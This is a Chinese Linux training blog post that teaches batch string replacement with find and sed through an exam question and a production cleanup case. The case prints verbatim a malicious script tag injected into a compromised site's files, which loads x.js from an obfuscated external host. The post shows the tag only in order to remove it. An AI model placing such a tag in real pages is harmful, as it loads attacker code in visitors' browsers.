find+sed考试题及生产实战解决案例分享考试答案系列

说明:本文为老男孩linux培训某节课前考试试题及答案分享博文内容的一部分,也是独立成题的,你可以点下面地址查看全部的内容信息。
http://oldboy.blog.51cto.com/2561410/791245特别说明:答题的思路技巧可能比做题本身更重要,这也是老男孩特别教导学生的学习方法。

5.查找当前目录下所有文件,并把文件中的www.etiantian.org字符串替换成www.oldboy.cc

解答:

通过find命令查找,然后通过-exec参数调用sed命令完成替换

#→这个命令是错误的语法,仅结尾{}前少了个空格,细节决定成败啊!find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g' {} \; #→这个命令是正确的语法,点号为特殊字符,使用\来转义(除去特殊字符代表的特殊含义,使用其本身的原始意义)。对于本题可以不用转义。find . -type f -exec sed -i 's/www.oldboy.cc/www.etiantian.org/g' {} \;#→此处不转义也可以。find . -type f -exec sed -i 's#www.etiantian.org#www.oldboy.cc#g' {} \;说明:此题考察find,sed命令的组合使用,是非常常用,好用的两个命令,必须精通之。案例实践:

[[email protected] test]# echo www.etiantian.org >test.txt#→创建测试文件,录入wwww.etiantian.org[[email protected] test]# echo www.etiantian.org >ett.txt#→创建测试文件,录入wwww.etiantian.org[[email protected] test]# cat test.txt ett.txtwww.etiantian.orgwww.etiantian.org[[email protected] test]# lsett.txttest.txt[[email protected] test]# find . -type f -exec sed -i 's/www.etiantian.org/oldboy.cc/g' {} \;#→查找当前目录(点表示当前目录),所有文件,然后把文件中的www.etiantian.org的字符串,替换为oldboy.cc[[email protected] test]# cat ett.txt test.txt oldboy.cc#→修改后的结果,原来是www.etiantian.orgoldboy.cc[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \;[[email protected] test]# cat ett.txt test.txt www.etiantian.org#→修改后的结果,刚刚是oldboy.ccwww.etiantian.org

如果是语法错误就会出现如下提示:

[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \;sed: -e expression #1, char 40: unterminated `s' commandsed: -e expression #1, char 41: unterminated `s' command[[email protected] test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\;find: missing argument to `-exec'正确错误命令对比:find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \; #→错误命令find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\; #→错误命令find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \; #→正确命令,大括号前后各多了个空格,这也是find命令的语法写法。参考man find帮助案例:EXAMPLESfind /tmp -name core -type f -print | xargs /bin/rm -fFindfiles named core in or below the directory /tmp and delete them.Note that this will work incorrectly if there are any filenames containing newlines, single or double quotes, or spaces.find /tmp -name core -type f -print0 | xargs -0 /bin/rm -fFind files named core in or below the directory /tmp and delete them, processing filenames in such awaythat fileordirectorynamescontainingsingle or double quotes, spaces or newlines are correctly handled.The-name test comes before the -type test in order to avoid having to call stat(2) on every file.find . -type f -exec file '{}' \;例:查看找所有文件并查看文件类型

[[email protected] test]# find . -type f -exec file '{}' \;./ett.txt: ASCII text./test.txt: ASCII text[[email protected] test]# find . -type f -exec file {} \;./ett.txt: ASCII text./test.txt: ASCII text学生典型答案:

答案1解答: # grep "www.etiantian.org"* |tr "www.etiantian.org"oldboy.cc

老男孩老师点评:这是错误答案。答案2find . -type f |sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:这是不规范的正确答案,加引号比较好。答案3find . -type f |xargs sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:此答案思路也可以,注意加引号。

生产环境正式案例:这是一个几年前老男孩老师给一家IT公司做技术顾问时遇到的一个实际问题,情况是:

一个lamp的服务器,站点目录下所有文件均被植入了如下内容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>

包括图片文件也被植入了,网站打开时就会调用这个地址,造成的影响很恶劣。

虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定,后来给老男孩电话。5分钟内搞定。

实际解决办法:

思路是:需要遍历所有目录所有文件把以上被植入的内容删除掉。

实践演示:

[[email protected] test]# cat guanggao.txt #→模拟被窜改的文件,多个。<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>

处理命令:

法一:[[email protected] test]#find . -type f -exec sed -i 's#<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>##g' {} \;

#→就是本题的命令使用方法。法二:find sed删除 正则匹配:?google_ad ,包含字符串?google_ad的内容的行删除。[[email protected] oldboy]# find . -type f -exec sed -i '/^.*\?google_ad/d' {} \; 特别提示:法二的方法,容易把程序里的其他正常内容删除掉,匹配关键字很重要,因此不建议使用法二。

如果用完整匹配删除则很麻烦:find . -type f -exec sed -i '/<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x\.js\?google_ad=95x27_ad><\/script>/d' {} \;

sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'sed: -e expression #1, char 40: unknown command: `/'处理后的结果

[[email protected] test]# cat guanggao.txt当时的处理过程:

1、和运维人员确认确实出问题了。并详细确认问题情况。2、制定处理方案,先备份数据,然后,执行命令批量修改回来。3、写解决说明(类似本例这样),写完发给他们的运维。4、询问处理结果,并告知详细查看日志,问题发生来源。5、提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线规范思路)。

站点目录严格权限规划方案及新上线规范思路,请参考:老男孩linux实战培训教案-Linux文件和目录的属性及权限精华讲解老男孩linux实战培训教案-LAMP/LNMP生产环境40条优化军规精华讲解老男孩linux实战培训教案-生产环境sina,baidu,腾讯门户站上线发布代码方案精华讲解

《老男孩linux实战培训教案-强大的流编辑器sed详解指南及经典生产案例》《老男孩linux实战培训教案--find详解指南及经典生产案例》

更多相关文章
  • rsync生产实战考试题模拟09说明:本文来自来自北京老男孩linux运维实战培训中心-运维就业课程免费视频内容,本文内容为系列内容,更多分享信息见:http://oldboy.blog.51cto.com/2561410/12164571)视频实战讲解分享(全屏观看效果更好)更多分享信息见:htt ...
  • rsync生产实战考试题讲解10说明:本文来自来自北京老男孩linux运维实战培训中心-运维就业课程免费视频内容,本文内容为系列内容,更多分享信息见:http://oldboy.blog.51cto.com/2561410/12164571)视频实战讲解分享(全屏观看效果更好)更多分享信息见:htt ...
  • 本博文为老男孩linu培训机构早期的培训教案,特分享以供大家学习参考.全部系列分为五篇文章,本博文为第三篇:四.awk数组命令生产实战拓展4.1统计apache日志单ip访问请求数排名(这个常用,考试也常考)假设apache日志内容access.log内容为:10.0.0.41 - - [03/De ...
  • Oracle 11g RAC 添加新节点及故障解决案例系统环境:操作系统:RedHat EL55集群:      Oracle 11g GIOracle:   Oracle 11gR2一.配置新的节点1.首先按照其他节点进行 系统基本参数配置2.添加hosts到所有节点 并完成用户等效性配置 (gr ...
  • ##########################################################生产场景不同角色linux服务器分区案例分享#date:2011-08-08#作者:老男孩#QQ:31333741 MAIL:[email protected]#QQ交流群:4 ...
  •     linux运维实战练习案例-2015年12月20日-12月31日(第一次)1.创建一个10G的文件系统,类型为ext4,要求开机可自动挂载至单独数据/data目录:    [[email protected]~]# cat /proc/partitions      major minor  # ...
  • 本文内容已重新发布.http://oldboy.blog.51cto.com/2561410/926983   老男孩linux运维实战培训门户网站CDN优化内部教学案例分享说明:本文内容来自某门户网站真实内容,原文讲解的非常棒,被老男孩linux运维实战培训选为的教学案例教案之一,内容中有老男孩的 ...
  • IPCC呼叫中心解决案例    一嗨租车    一嗨租车" name=image_operate_7281340243089843 alt="IPCC呼叫中心解决案例    一嗨租车" src="http://s4.sinaimg.cn/middle/9ef7 ...
一周排行
  • 本文来自  [url]http://winda.blog.51cto.com/55153/63750[/url]  子网划分示例现在以示例来介绍子网划分的方法.1.已知所需子网数12,求实际子网数.这里实际子网数指S ...
  • MSDN是微软官方网站.这个网站的职能之一,就是向MSDN订户(付费相当高昂)提供Microsoft Windows资源,即大家通常说的操作系统光盘镜像.相信大家手头都有不少这类下载,但究竟是否微软的正宗原版,在MS ...
  • ADRMS之Windows内部数据库迁移到SQL服务器
            很多时候我们会把其他角色和AD集成,例如文件服务器角色.rms等等.当AD ...
  • Linux持续不断进军可扩展计算空间,特别是可扩展存储空间.Ceph 最近才加入到 Linux 中令人印象深刻的文件系统备选行列,它是一个分布式文件系统,能够在维护 POSIX 兼容性的同时加入了复制和容错功能.探索 ...
  • 1:方法(掌握)(1)方法:就是完成特定功能的代码块.注意:在很多语言里面有函数的定义,而在Java中,函数被称为方法.(2)格式:修饰符 返回值类型 方法名(参数类型 参数名1,参数类型 参数名2...) {方法体 ...
  • 今日游历了平遥古城,以及乔家大院.感触颇深,最主要是睹物思人的情节,乔家大院具有晋商风范,却不失文化气息.每到一门,都会看到大门两侧写着韵味十足又具深意的对联,内涵文化,修养,警示,目标,修为,境界,让人实在流连忘返 ...
  • 都赖这经济危机!!!现在要根据老的linux机器的系统消耗来配置新的机器.所以要写个东西记录运行时的CPU.内存等的消耗情况.也没学太好,就又搞了个命令的集合.呵呵. #!/bin/bash############# ...
  • 7个顶级心理寓言但是,它还可以这样:继续成长.譬如,第二年,它结了100个果子,被拿走90个,自己得到10个.很可能,它被拿走99个,自己得到1个.但没关系,它还可以继续成长,第三年结1000个果子…… 其实,得到多 ...
  • 一.网络设置的问题 这种原因比较多出现在需要手动指定IP.网关.DNS服务器联网方式下,及使用代理服务器上网的.仔细检查计算机的网络设置. 二.DNS服务器的问题 当IE无法浏览网页时,可先尝试用IP地址来访问,如果 ...
  • Android操作系统版本Android1.1(发布于2009年2月)主要特性:闹钟API示例浏览器计算器摄像头联系人开发工具包拨号应用电子邮件地图(包含街景)信息服务音乐图片设置Android 1.5:Androi ...